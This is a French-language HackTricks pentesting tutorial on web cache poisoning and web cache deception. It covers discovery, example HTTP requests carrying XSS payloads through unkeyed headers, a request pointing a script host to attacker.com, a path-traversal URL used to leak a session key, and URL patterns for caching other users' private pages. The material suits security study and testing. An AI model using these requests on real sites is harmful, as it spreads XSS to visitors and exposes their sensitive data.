# Empoisonnement de cache et Tromperie de cache

<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>

Autres façons de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.

</details>

<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## La différence

> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
>
> * Dans l'**empoisonnement de cache web**, l'attaquant fait en sorte que l'application stocke un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application.
> * Dans la **tromperie de cache web**, l'attaquant fait en sorte que l'application stocke un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu à partir du cache.

## Empoisonnement de cache

L'empoisonnement de cache vise à manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, car la réponse contaminée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.

L'exécution d'une attaque d'empoisonnement de cache implique plusieurs étapes :

1. **Identification des entrées non clés** : Il s'agit de paramètres qui, bien qu'ils ne soient pas nécessaires pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. L'identification de ces entrées est cruciale car elles peuvent être exploitées pour manipuler le cache.
2. **Exploitation des entrées non clés** : Après avoir identifié les entrées non clés, l'étape suivante consiste à comprendre comment exploiter ces paramètres pour modifier la réponse du serveur de manière à bénéficier à l'attaquant.
3. **S'assurer que la réponse empoisonnée est mise en cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette manière, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse contaminée.

### Découverte : Vérifier les en-têtes HTTP

Généralement, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant**, vous pouvez vérifier quels en-têtes vous devriez surveiller dans ce post : [**En-têtes de cache HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

### Découverte : Mise en cache du code 400

Si vous pensez que la réponse est mise en cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devrait être répondu par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un déni de service).\
Un en-tête mal configuré pourrait être simplement `\:` en tant qu'en-tête.\
_Notez que parfois ce type de codes d'état n'est pas mis en cache, donc ce test sera inutile._

### Découverte : Identifier et évaluer les entrées non clés

Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **brute-force des paramètres et des en-têtes** qui pourraient **modifier la réponse de la page**. Par exemple, une page pourrait utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Obtenir une réponse nuisible du serveur back-end

Avec le paramètre/l'en-tête identifié, vérifiez comment il est **sanitisé** et **où** il est **reflété** ou affecte la réponse de l'en-tête. Pouvez-vous l'exploiter de toute façon (effectuer un XSS ou charger un code JS contrôlé par vous ? effectuer un DoS ?...)

### Obtenir la réponse mise en cache

Une fois que vous avez **identifié** la **page** qui peut être exploitée, quel **paramètre**/**en-tête** utiliser et **comment** l'**exploiter**, vous devez mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela pourrait prendre du temps, vous pourriez devoir essayer pendant plusieurs secondes.\
L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'était pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
L'en-tête **`Cache-Control`** est également intéressant pour savoir si une ressource est mise en cache et quand la prochaine fois la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`\
Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît l'`User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.\
Un autre en-tête lié au cache est **`Age`**. Il définit le temps en secondes pendant lequel l'objet a été dans le cache proxy.

Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux pourraient être **utilisés de manière inattendue** comme **clés** et la **victime devra utiliser le même en-tête**. Testez toujours un empoisonnement de cache avec **différents navigateurs** pour vérifier s'il fonctionne.

## Exemples d'exploitation

### Exemple le plus simple

Un en-tête comme `X-Forwarded-For` est reflété dans la réponse non sanitisée.\
Vous pouvez envoyer une charge utile XSS de base et empoisonner le cache afin que tout le monde qui accède à la page soit victime d'un XSS :
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
### Utilisation de l'empoisonnement du cache web pour exploiter les vulnérabilités de gestion des cookies

Les cookies pourraient également être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer une XSS par exemple, vous pourriez être en mesure d'exploiter la XSS dans plusieurs clients qui chargent la réponse du cache malveillant.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Notez que si le cookie vulnérable est très utilisé par les utilisateurs, les requêtes régulières nettoieront le cache.

### Empoisonnement du cache avec traversée de chemin pour voler la clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**Cette explication**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) explique comment il était possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` car tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête est arrivée au serveur web.

### Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités d'empoisonnement du cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver une **redirection ouverte** si vous définissez `X-Forwarded-Host` sur un domaine que vous contrôlez et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** redirige toutes les **requêtes HTTP** vers HTTPS et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler vers où la page est dirigée par la redirection.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Exploiter avec l'en-tête `Vary` limité

Si vous découvrez que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**. Ensuite, vous devez trouver un moyen d'exfiltrer l'User-Agent de la victime et de contaminer le cache en utilisant cet User-Agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Exploiter la falsification du cache HTTP en abusant du Smuggling de Requêtes HTTP

Apprenez ici comment effectuer des attaques de falsification du cache en abusant du Smuggling de Requêtes HTTP.

### Test automatisé pour la falsification du cache Web

Le [Scanner de Vulnérabilité du Cache Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement la falsification du cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.

Exemple d'utilisation : `wcvs -u example.com`

<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** facilement grâce aux outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Exemples Vulnérables

### Serveur de Trafic Apache ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATS a transmis le fragment à l'intérieur de l'URL sans le supprimer et a généré la clé de cache en utilisant uniquement l'hôte, le chemin et la requête (en ignorant le fragment). Ainsi, la requête `/#/../?r=javascript:alert(1)` a été envoyée au backend en tant que `/#/../?r=javascript:alert(1)` et la clé de cache n'avait pas le payload à l'intérieur, seulement l'hôte, le chemin et la requête.

### CP-DoS de GitHub

L'envoi d'une mauvaise valeur dans l'en-tête de type de contenu a déclenché une réponse mise en cache 405. La clé de cache contenait le cookie, il était donc possible d'attaquer uniquement les utilisateurs non authentifiés.

### GitLab + CP-DoS GCP

GitLab utilise des compartiments GCP pour stocker du contenu statique. Les **compartiments GCP** prennent en charge l'en-tête `x-http-method-override`. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de falsifier le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`.

### Middleware Rack (Ruby on Rails)

Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le code Rack a pour but de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, entraînant potentiellement un déni de service (DoS) sur cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript à partir du serveur d'un attaquant, posant un risque de sécurité.

### 403 et Compartiments de Stockage

Cloudflare mettait précédemment en cache les réponses 403. Tenter d'accéder à des objets S3 ou Azure Storage Blobs avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.

### Injection de Paramètres Clés

Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée en URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramètre `size` correct. Cependant, le backend traiterait la valeur dans le paramètre encodé en URL. L'encodage en URL du deuxième paramètre `size` entraînait son omission par le cache mais son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre entraînait une erreur 400 Bad Request mise en cache.

### Règles de l'Agent Utilisateur

Certains développeurs bloquent les requêtes avec des agents utilisateurs correspondant à ceux des outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que la falsification du cache et le DoS.

### Champs d'En-tête Illégaux

Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms d'en-tête. Les en-têtes contenant des caractères en dehors de la plage spécifiée **tchar** devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet les en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête `cache-control` n'est pas présent. Un schéma exploitable a été identifié où l'envoi d'un en-tête avec un caractère illégal, tel que `\`, entraînerait une erreur 400 Bad Request mise en cache.

### Trouver de nouveaux en-têtes

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## Falsification du Cache

L'objectif de la falsification du cache est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.

Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache**. Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'extension `.js`. Cependant, si l'**application** rejoue avec le **contenu sensible** de l'utilisateur stocké dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus à d'autres utilisateurs.

Autres choses à tester :

* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Utilisez des extensions moins connues telles que_ `.avif`

Un autre exemple très clair peut être trouvé dans ce compte rendu : [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme _http://www.example.com/home.php/non-existent.css_, le contenu de _http://www.example.com/home.php_ (**avec les informations sensibles de l'utilisateur**) va être renvoyé et le serveur de cache va enregistrer le résultat.\
Ensuite, l'**attaquant** peut accéder à _http://www.example.com/home.php/non-existent.css_ dans son propre navigateur et observer les **informations confidentielles** des utilisateurs qui ont accédé avant.

Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type MIME `text/css` (qui est attendu pour un fichier _.css_).

Apprenez ici comment effectuer des attaques de falsification du cache en abusant du Smuggling de Requêtes HTTP.

## Outils Automatiques

* [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités de falsification du cache web dans une liste d'URLs et tester plusieurs techniques d'injection.

## Références

* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)

<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** facilement grâce aux outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>

D'autres façons de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.

</details>